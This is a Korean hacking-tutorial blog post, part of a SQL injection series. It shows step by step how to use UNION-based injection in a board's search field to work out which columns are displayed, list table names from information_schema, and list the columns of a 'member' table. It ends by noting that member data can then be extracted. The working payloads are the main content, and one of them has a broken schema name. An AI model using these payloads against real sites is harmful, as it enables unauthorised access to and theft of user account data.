Hacking/SQL Injection

6.SQL Injection>테이블 명, 컬럼 명 알아내기

혁이 2017. 4. 30. 14:46
반응형


안녕하세요


베비온입니다.

오늘은 저번에 했던 union을 사용해서 테이블 명과 컬럼 명을 알아내보겠습니다.




저번에 게시판 페이지에서 사용하는 컬럼 갯수는 11개라는것을 알아내었습니다.

검색 부분에


a' union select '1','2','3','4','5','6','7','8','9','10','11'

을 입력해줍니다.


제일 아래부분이 결과창입니다.

1~11을 출력하는 select를 사용함 으로써 어느 부분에 어느 컬럼이 사용되었는지 볼 수 있습니다.


글번호엔 1번 컬럼, 글 제목엔 6번컬럼, 댓글 갯수는 10번컬럼 이런식으로요

저희가 얻고싶은건 테이블명, 컬러명입니다.

즉 데이터 형태가 문자형입니다.

숫자형태가 들어가는 num이나 see는 안되죠


그럼 저희는 글제목인 6번에 한 번 출력해보겠습니다.


db에 많은 정보를 갖고있는 infomation_schema를 사용해서 출력하겠습니다.


테이블 명 얻기

a' union select '1','2','3','4','5',table_name,'7','8','9','10','11' from information_schema.tables --





쫜!



...


일단 나오긴했는데 잘살펴보시면 



리스트와 멤버 라는 테이블이 있는 것을 볼 수 있습니다.


멤버 라는 테이블이 회원정보를 가지고있는 것 같은데 이번엔 컬럼명을 가져와볼까요??





컬럼명 얻기

a' union select '1','2','3','4','5',column_name,'7','8','9','10','11' from information_columns where table_name='member' --

뒤에 where을 안붙이면 모든 컬럼명이 나와 매우 스압이 되오니 where을 붙여주시기 바랍니다.


member테이블에 있는 컬럼명들을 가져왔습니다!


이거를 토대로 회원정보를 빼올 수 있겠지요??




반응형